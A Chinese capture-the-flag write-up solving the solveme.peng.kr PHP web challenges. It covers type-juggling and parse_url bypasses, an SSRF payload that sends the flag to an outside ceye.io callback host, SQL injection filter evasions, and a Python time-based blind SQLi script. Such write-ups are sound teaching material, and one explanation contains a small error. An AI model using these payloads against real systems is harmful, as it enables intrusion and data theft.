前言

最近自己的状态有点迷的,想学点代码审计的东西,又感觉自己的基础太菜。整个人昏昏沉沉的,偶尔逛freebuf看到一篇web题解的文章,

作者在文章提到这个网站的Web题都是PHP审计的题目,于是看看代码,一行一行看代码,一个函数一个函数的理解。也写个题解记录以下。

正文

Warm up

1
2
3
4
5
6
7
<?php
error_reporting(0);
require __DIR__.'/lib.php';

echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';

highlight_file(__FILE__);

第一题是解密的题目,一个函数一个函数的理解。

  • bin2hex() 函数把 ASCII 字符的字符串转换为十六进制值。

  • strrev() 函数反转字符串。

  • hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

  • base64_encode() 使用 MIME base64 对数据进行编码。

理解函数的意思,只需要把输出值逆向回去就行了

1
2
3
4
5
6

<?php

$flag = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";

echo hex2bin(strrev(bin2hex(base64_decode($flag))));

Bad compare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['answer'])){

if($_GET['answer'] === '痤迈愈羼滋'){
echo $flag;
}else{
echo 'Wrong answer';
}

echo '<hr>';
}

highlight_file(__FILE__);

以上是我用firefox浏览器打开显示的代码,我这里直接提交

1
http://badcompare.solveme.peng.kr/?answer=痤迈愈羼滋

是可以的,但是在chrome不行。显示的值也不一样。

Winter sleep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['time'])){

if(!is_numeric($_GET['time'])){
echo 'The time must be number.';

}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';

}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';

}else{
sleep((int)$_GET['time']);
echo $flag;
}

echo '<hr>';
}

highlight_file(__FILE__);

看代码的意思是让我们输入一个5184000到7776000之间的数,才能通过判断输出$flag。

但是在最后他会执行sleep函数

  • sleep() 函数延迟代码执行若干秒。

这个函数需要等待很长的时间,sleep用到(int)转换为整数型

在PHP中做如下实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

echo 60 * 60 * 24 * 30 * 2 ,'<br>'; //5184000

echo 60 * 60 * 24 * 30 * 3,'<br>' ; //7776000

echo (int)'123abc' ,'<br>'; //123

echo (int)'1abc23' ,'<br>'; //1

echo (int)'abc123' ,'<br>'; //0

echo 6e6 ,'<br>'; //6000000

echo (int)'6e6'; //6

从上面代码可以看出,(int)将字符串转换成了int型,比如第三行,将123abc输出为123,第四行把1abc23输出为1。第五行把abc123输出为123

这里我们就可以知道(int)只取字符串中的数字,且只取第一个出现字母前的数字。

所以这里我们可以用科学计数法,6e6这个刚好满足代码的逻辑。

sleep也之执行6秒

1
payload : http://wintersleep.solveme.peng.kr/?time=6e6

Hard login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
session_start();
require __DIR__.'/lib.php';

if(isset($_GET['username'], $_GET['password'])){

if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';

}else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..';

}else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..';

}else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}

echo '<hr>';
}

highlight_file(__FILE__);

这里看源码

1
2
3
$_GET['username']{3}		//取username提交参数的索引号为3的值

$_GET['password']{7} //取username提交参数的索引号为7的值
  • strtolower() 函数把字符串转换为小写。

满足上面代码给出的条件,最后是会跳转到根目录下。

那我们直接访问网站的根目录,显示是调转到/login.php的。

试试curl或者burpsuite试试。这里在windows下不自带curl命令的,我们可以用windows的git bash

1
curl http://hardlogin.solveme.peng.kr/

这样就可以看到根目录下的源码,发现flag

URL filtering

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
require __DIR__."/lib.php";

$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);

$params = explode("&", $url_query);
foreach($params as $param){

$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}

if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}

if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}

highlight_file(__FILE__);

代码函数理解

  • urldecode — 解码已编码的 URL 字符串
  • parse_url — 解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
  • $_SERVER[‘REQUEST_URI’] - 获取域名后面的值,包括/
  • explode - 把字符串打散为数组。 explode(separator,string,limit) separator表示在哪里分割字符串,string要分割的字符串,limit可选,规定所返回的数组元素的数目。
  • strpos - 查找字符串在另一字符串中第一次出现的位置,对大小写敏感。
  • substr - 函数返回字符串的一部分。

由代码的后半部分中

1
2
3
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}

这里要求我们提交do_you_want_flag=yes去获取flag,但是前半部分由会判断的。

前半段代码中的key值最后为do_you_want_flag,value值为yes。显然是不能过判断的。

这里用到一个函数的漏洞,那就是parse_url()函数。当我们在url中的目前多加一个/时,他会返回flase。

这样我们就可以绕过前面的判断。例如这题。我们提交payload

1
http://urlfiltering.solveme.peng.kr//?do_you_want_flag=yes

另解:

URL filtering那题,其实感觉上,///这种解法是非预期的。

根据官方给出的wp,其实可以回来看到题目里有一步多余的url_decode操作,官方wp给出的解法是通过注入%23,使上下获取到的查询字串不对称,从而拿到flag,从代码看来的话,官方wp与题目中的提示更契合。

1
http://urlfiltering.solveme.peng.kr/?%23do_you_want_flag=yes

Hash collision

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['foo'], $_GET['bar'])){

if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
die('Too long');
}

if($_GET['foo'] === $_GET['bar']){
die('Same value');
}

if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
die('Different hash');
}

echo $flag, '<hr>';
}

highlight_file(__FILE__);

代码函数理解:

  • strlen - 函数返回字符串的长度。
  • string hash ( string $algo , string $data [, bool $raw_output = false ] ) algo 要使用的哈希算法 data 要进行哈希运算的消息

这里需要两个不同值的hash相等来通过判断,但是在PHP中可以用数组进行绕过。

1
http://hashcollision.solveme.peng.kr/?foo[]=1&bar[]=2

Array2String

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
require __DIR__.'/lib.php';

$value = $_GET['value'];

$username = $_GET['username'];
$password = $_GET['password'];

for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);

if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

代码函数理解:

  • unset — 释放给定的变量
  • chr - 函数从指定的 ASCII 值返回字符。

看以上代码,可以看出这里的$username是通过$value拼接出来的,这里我们就需要用value拼接出15th_HackingCamp

这里还规定了ASCII值不能在32-127这个范围内。

在PHP中,chr有以下特性。

1
2
3
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)

所以用以下脚本生成一个payload:

1
2
3
4
5
6
7
8
9
<?php
$username = '15th_HackingCamp';
$arr = str_split($username);

foreach($arr as $value){
$value = ord($value) + 256;
$payload .= 'value[]=' . $value . '&';
}
echo $payload .= 'password=simple_passw0rd';

payload:

1
value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['url'])){
$url = $_GET['url'];

if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}

if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}

$parse = parse_url($url);
if($parse['path'] !== '/plz_give_me'){
die('Not allowed path');
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

echo 'Okay, I sent the flag.', '<hr>';
}

highlight_file(__FILE__);

代码中用了三个preg_match函数进行过滤

  • 第一个过滤了下划线
  • 第二个限制$_SERVER['HTTP_HOST'],并且抓包不允许修改HOST
  • 第三个parse_url解析后路径需为/plz_give_me

显然第三个和第一个是矛盾的。但是在官方手册上,parse_url有一个

1
2
url
要解析的 URL。无效字符将使用 _ 来替换。
1
2
3
4
5
6
7
8

<?php
$url = urldecode("https://uknowsec.cn/%11test%11");
var_dump(parse_url($url));


输出:
array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(11) "uknowsec.cn" ["path"]=> string(7) "/_test_" }

这样我们就可以绕过第三个和第一个过滤了。

但是我们提交

1
http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr/plz%11give%11me

没有回显是得不到flag的,如何解决Host的问题在官方手册中还有这样一句

1
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

所以Host的值我们可以构造

1
givemealink.solveme.peng.kr@hostname

我们可以用CEYE.IO来得到flag。

1
http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@test.xxx.ceye.io/plz%1agive%1ame
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['url'])){
$url = $_GET['url'];

if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}

$parse = parse_url($url);
if(!preg_match('/^https?$/i', $parse['scheme'])){
die('Not allowed scheme');
}

if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}

if(!preg_match('/\/plz_give_me$/', $parse['path'])){
die('Not allowed path');
}

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if($socket === false){
die('Failed to create socket');
}

$host = gethostbyname($parse['host']);
$port = is_null($parse['port']) ? 80 : $parse['port'];

if(socket_connect($socket, $host, $port) === false){
die('Failed to connect');
}

$send = "HEAD /".$flag." HTTP/1.1\r\n".
"Host: ".$host.":".$port."\r\n".
"Connection: Close\r\n".
"\r\n\r\n";
socket_write($socket, $send, strlen($send));

$recv = socket_read($socket, 1024);var_dump($recv);
if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
die('Not allowed response');
}

socket_close($socket);

echo 'Okay, I sent the flag.', '<hr>';
}

highlight_file(__FILE__);

这个题目和前面一个题目类似,但是这里对host有了新的要求:

1
2
3
if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}

正则要求以localhost和127开头,可以用ip2long来绕过

1
2
3
Note:

因为PHP的 integer 类型是有符号,并且有许多的IP地址讲导致在32位系统的情况下为负数, 你需要使用 "%u" 进行转换通过 sprintf() 或 printf() 得到的字符串来表示无符号的IP地址。

在手册中有如上Note,这里如果直接代入负数是不能正常访问的,所以我们要把他转换为无符号的ip地址。

构造脚本如下

1
2
3
4
<?php
$ip ='182.254.0.0';
echo ip2long($ip),'<br>'; //-1224867840
printf("%u\n", ip2long($ip)); //3070099456

这里我们代入3070099456发送payload:

1
http://givemealink2.solveme.peng.kr/?url=http://3070099456/plz%01give%01me

这里就可以在web服务器日志中查看flag。

Replace filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['say']) && strlen($_GET['say']) < 20){

$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);

if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}

echo '<hr>';
}

highlight_file(__FILE__);
1
/^(.*)flag(.*)$/

以上正则是存在一个缺陷的,^ $界定了必须在同一行,否则匹配不到,所以我们可以用换行符进行绕过

1
http://replacefilter.solveme.peng.kr?say=%0agive_me_the_flag

Hell JS

打开题目,查看源码发现是jsfuck。

一般这种题目是可以直接控制台运行的。但是这里是不行的,

先了解下jsfuck的编码格式

1
2
3
4
eval        =>  []["filter"]["constructor"]( CODE )()

比如:
alert(1) => []["filter"]["constructor"]("alert(1)")()

从这里我们可以看出我们可以根据括号匹配提取出alert(1)的jsfuck代码,而这串代码放到控制台是可以直接运行看到加密之前的结果的。

如下图:

用同样的方法,我们去提取这一串jsfuck代码。这里可以用sublime text来进行括号的匹配

ctrl+shift+空格 快捷键匹配

经过几次匹配就能得到jsfuck代码

Anti SQLi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// It's 'Anti SQLi' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';

$id = $_GET['id'];
$pw = $_GET['pw'];

if(isset($id, $pw)){
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
) and die('Hack detected');

$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');

$result = mysqli_fetch_array(
mysqli_query(
$con,
"SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
)
);
mysqli_close($con);

if(isset($result)){
if($result['no'] === '31337'){
echo $flag;
}else{
echo 'Hello, ', $result['id'];
}
}else{
echo 'Login failed';
}
echo '<hr>';
}

highlight_file(__FILE__);

在正则里的第一行|\\|没有匹配到\,所以这个相当于完全没用, 匹配到\,需要四个\。因为\没有被过滤也给了我们逃逸单引号的条件, 只要$_GET['id'] = 1\就可以逃逸出第一个单引号

在正则中的第二行|#|--[\s\xA0]| 过了用来注释的#--这里的可以用--加一个不可见字符替代,例如:%01 %11 %02

直接尝试?id=1\&pw=–%01 仍然显示login failed, 而这在本地测试中是可行的, 原因是本地测试中 id 被设置为INT, 而在题目中猜测 id 被设置为了VARCHAR, 于是考虑重新构造一个 union 查询

正则中过滤了 union[\s\xA0]+select 但是可以直接用 union all select 来绕过

1
?id=\&pw=union all select 31337,31337,31337 from antisqli --%11

Name check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
require __DIR__.'/lib.php';

if(isset($_GET['name'])){

$name = $_GET['name'];
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
echo 'Not allowed input';
goto quit;
}

$sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
$res = $sql->query("
SELECT
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
;");
if($res === false){
echo 'Database error';
goto quit;
}

$row = $res->fetchArray(SQLITE3_NUM);
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}

echo $flag;

quit:
echo '<hr>';
}

highlight_file(__FILE__);

从上面代码中可以看出满足 row[0] + $row[1] + $row[2] + $row[3] = 4 就能输出flag。这个表达式的意思就是sql语句四个都为true。

1
2
3
4
MAX('0','1','{$name}') LIKE 'a%', 			\\name的首字母为a
INSTR('{$name}','d')>0, \\name中有d
MIN('{$name}','b','c') LIKE '__m__', \\name中间的字母为m
SUBSTR('{$name}',-2)='in' \\name以in结尾

从上面的代码可以看出这里需要传入的$name的值就是admin,但是上面有正则过滤了admin

sqlite的特性考虑查阅手册发现:

1
SQLite中,连接字符串不是使用+,而是使用||

||没有被过滤

1
http://namecheck.solveme.peng.kr/?name=adm'||'in

I am slowly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
// It's 'I am slowly' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';

$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
$answer = $_GET['answer'];

if(isset($answer)){
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');

$result = mysqli_fetch_array(
mysqli_query($con, "SELECT `count` FROM `{$table}`;")
);
if(!isset($result)){
mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
$new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");

}elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}

$randtime = mt_rand(1, 10);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);
if(isset($result) && $result['answer'] === $answer){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo $flag;
}else{
mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
echo 'Go fast';
}

quit:
mysqli_close($con);
echo '<hr>';
}

highlight_file(__FILE__);

代码前面是连接MySQL数据库,并判断当前ip的信息是否存在,若不存在插入新的记录。

这里对count值进行判断,如果count的值等于12就把数据库中跟当前ip有关的表删除。

mysqli_query($con, "SELECT * FROM{$table}WHERE sleep({$randtime}) ORanswer='{$answer}';")

这里可以利用answer进行延迟盲注,但是如果我们请求的次数等于12时就会被删表。

所以我们需要绕过count = 12这一个判断,这里有个问题就是代码是先执行SQL语句查询,再执行count++

所以可以在count = 11时加入sleep(50)一个比较长的延迟时间。这个时候立即再发一个请求。这个时候count = 12了,

等之前的count = 11的请求完成时,此时的count = 13了,这样就绕过了限制,可以无限的进行请求了。

至此我们就可以用写好的盲注脚本跑盲注了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests


answer = ""
for i in range(1, 33):
for j in "abcdef1234567890":
url = "http://iamslowly.thinkout.rf.gd/?answer=' or if((answer like '%s%%'),sleep(30),1)%%23" % (
answer + j)
try:
r = requests.get(url=url, timeout=29)
print("i:", i, "j:", j, r.content[:10])
except:
answer += j
print("answer:", answer)
break

提交answer,得到flag.

Reference

Solveme.peng.kr平台Web题解